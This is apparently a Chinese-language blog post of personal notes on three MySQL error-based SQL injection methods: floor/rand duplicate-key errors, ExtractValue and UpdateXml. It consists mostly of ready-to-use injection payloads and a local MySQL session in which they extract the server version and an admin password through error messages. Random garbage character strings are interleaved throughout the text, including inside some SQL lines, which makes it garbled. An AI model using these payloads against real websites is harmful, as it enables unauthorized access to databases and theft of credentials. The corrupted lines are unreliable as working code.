关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

mysql> show tables;
+----------------+
/ M- j8 b  ^7 ?- R) d7 M| Tables_in_test |
, T9 `' W2 |7 J+----------------+
| admin          |
| article        |
+----------------+
4 q7 {1 I/ Z5 n; c
) Y+ R  u- X8 j0 k, C  m! Y

mysql> describe admin;
4 E( N' x( D7 P3 [, z4 r( Y9 e+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
9 j4 t# ^1 H$ V7 V6 ?1 b| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
# V$ v# ^6 u7 N5 C| user  | varchar(50)      | NO   |     | NULL    |                |
8 c" N4 r/ \( j| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
3 Q$ B7 i  E2 y" K: a( a8 v


5 R6 I% Q- O5 g- P+ Imysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
% }1 p1 S4 t4 R| content | varchar(50)      | NO   |     | NULL    |                |
6 A2 c/ c) ]/ m+---------+------------------+------+-----+---------+----------------+
/ d; K9 E) h: d$ x$ g  X2 d1、通过floor报错
, E/ u* Z. {( {- _7 k$ m3 w8 o可以通过如下一些利用代码
  K) y& B/ q* r: [) z9 h+ `" V

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

- p5 x+ m. j- e* S1 Q+ q6 J8 x% ?' k
  H, j. f5 b" d4 t' a& r3 o- wand (select count(*) from (select 1 union select null union select !1)x
4 U; i1 M. D0 rgroup by concat((select table_name from information_schema.tables limit 1),
) p7 Y4 o" h( D( afloor(rand(0)*2)));
举例如下：
9 B  q- D9 B  d: S首先进行正常查询：
! K4 R. G5 I% V& a# {/ i0 l' C5 Q
4 G% M4 }3 A2 G3 \- ]8 Amysql> select * from article where id = 1;
0 k, E+ t9 `6 H+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
7 p' I8 t0 [! n1 B0 A+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
, i, b* {, @, k2 O
7 p* I6 K1 g+ ?- s
+ ]3 y" G3 ]1 p  W" V9 @7 D& M' |7 {mysql> select * from article where id = 1 and (select 1 from
0 a' f9 D; G, c/ z5 A# Y2 M(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
+ r; [% j. {+ W4 JERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
( X# L$ k- s8 ?9 |0 z$ @Method1:
- d" G6 l7 d1 Q8 \+ e9 _# N

1 ?$ }3 G/ h' s5 rmysql> select * from article where id = 1 and (select 1 from
8 H& N( C& `2 k$ g1 @+ c(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
' V7 U8 ~! [+ D( SERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

* Y7 Z! H3 w" t
mysql> select * from article where id = 1 and (select count(*)
# c& |* F3 X+ K) kfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
2 R2 a0 m( [, |  b, J3 z" ?ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
) C  A# |6 \* t/ M

0 T. W1 P* d" h0 pand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程

' ~- G- L: i& D3 \
7 r8 n* Y1 X3 Q0 k7 t9 i0 v: Umysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
3 r; l7 M) i( a1 d/ H2 c0 J9 hERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
$ n: U2 g- q3 _, v测试语句

4 s/ b; ^8 @) c/ y( D
" f! G; @! y9 O1 x; S0 u; J+ ]( Jand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

0 A! u" X7 l1 S: a4 b
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
( A" x; @* J3 Q. Y& {All, thanks foreign guys.

​